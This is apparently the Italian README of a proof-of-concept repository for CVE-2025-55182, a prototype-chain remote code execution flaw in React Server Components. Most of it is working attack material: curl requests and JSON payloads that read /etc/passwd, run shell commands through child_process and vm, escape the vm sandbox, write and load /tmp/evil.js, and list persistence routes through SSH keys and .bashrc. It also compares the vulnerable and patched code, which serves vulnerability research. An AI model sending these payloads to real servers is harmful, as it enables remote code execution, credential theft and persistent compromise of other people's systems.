Questa POC dimostra la vulnerabilità CVE-2025-55182 utilizzando il codice vulnerabile reale di `[email protected]`.
Questa POC dimostra la CVE-2025-55182 utilizzando il codice vulnerabile reale di [email protected].
Questo repository è un fork di https://github.com/ejpir/CVE-2025-55182-poc e non è ancora stato verificato! Si prega di prestare cautela e di verificare attentamente!
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
npm run start:module # Start module server (port 3003) - hypothetical, see note below
# Exploits (use with npm start)
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research # Prototype chain research
# Hypothetical exploits (use with start:module)
npm run exploit:module # Two-step RCE via module#_load
npm run exploit:indirect # Two-step RCE with proof file
Nota: Gli exploit basati su
modulesono ipotetici. Il modulo integratomoduleè raramente incluso nel bundle delle applicazioni in produzione. Dimostrano un percorso di attacco teorico quando sono disponibili solofs+module(niente vm/child_process). In pratica, le app confsdi solito hanno anchechild_processtramite dipendenze come sharp, puppeteer o execa.
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| File | Port | Descrizione |
|---|---|---|
src/server-realistic.js | 3002 | Server principale - simula un bundle webpack con i moduli comuni (fs, vm, child_process) |
src/server.js | 3002 | Server legacy (usa require diretto) |
src/server-module-test.js | 3003 | Server con module + fs (per la ricerca) |
| File | Descrizione |
|---|---|
exploit-rce-v4.js | RCE primaria tramite vm#runInThisContext |
exploit-all-gadgets.js | Testa tutti i gadget RCE (vm, child_process, fs) |
exploit-module-load.js | RCE in due passaggi tramite fs + module#_load |
exploit-indirect-rce.js | RCE in due passaggi con creazione di un file di prova |
exploit-persistence.js | Attacchi di persistenza (chiavi SSH, .bashrc) |
exploit-research.js | Ricerca sulla catena dei prototipi |
Simula un bundle webpack reale in cui le applicazioni includono comunemente moduli pericolosi tramite le dipendenze:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
La funzione __webpack_require__ carica solo i moduli da BUNDLED_MODULES, simulando il comportamento reale di webpack.
In requireModule(), le export vengono accedute tramite notazione a parentesi senza controllo hasOwnProperty:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 con i metadati dell'azione associatiid: 'vm#runInThisContext' carica il modulo vm e accede all'export runInThisContextbound diventa gli argomenti della funzionerunInThisContext(CODE) esegue codice arbitrario| Gadget | Stato | Descrizione |
|---|---|---|
vm#runInThisContext | ✓ | Esegue JS arbitrario nel contesto corrente |
vm#runInNewContext | ✓ | Esegue in una "sandbox" (facilmente aggirabile) |
child_process#execSync | ✓ | Esecuzione diretta di comandi shell |
child_process#execFileSync | ✓ | Esegue file binari |
child_process#spawnSync | ✓ | Avvia un processo (restituisce un oggetto) |
module#_load | ✓ | Carica ed esegue un file JS (in due passaggi con fs) |
fs#readFileSync | ✓ | Legge file arbitrari |
fs#writeFileSync | ✓ | Scrive file arbitrari |
Esegui un comando shell (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
Leggi file sensibili:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
Scrivi file su disco:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
Esegui JavaScript arbitrario:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
Evasione dalla sandbox (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
Per la RCE diretta: Sì, ti serve uno dei seguenti:
vm (runInThisContext, runInNewContext)child_process (execSync, execFileSync, spawnSync)Per la RCE indiretta (solo fs): No! Con il solo fs puoi:
~/.ssh/authorized_keys → accesso SSH~/.bashrc → esecuzione di codice al prossimo accessonode_modules/* → RCE al riavvio dell'apppackage.json → RCE alla prossima installazione npmNota: Questo è ipotetico. Il modulo integrato
moduleè raramente incluso nel bundle in produzione.
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!
| Versione | Attacco | Risultato |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE ottenuta |
| React 19.2.1 | vm#runInThisContext | ✗ Bloccato |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
Consulta VULNERABLE-PACKAGES.md per la ricerca sui pacchetti npm popolari che includono moduli pericolosi:
| Modulo | Download settimanali | Pacchetti popolari |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |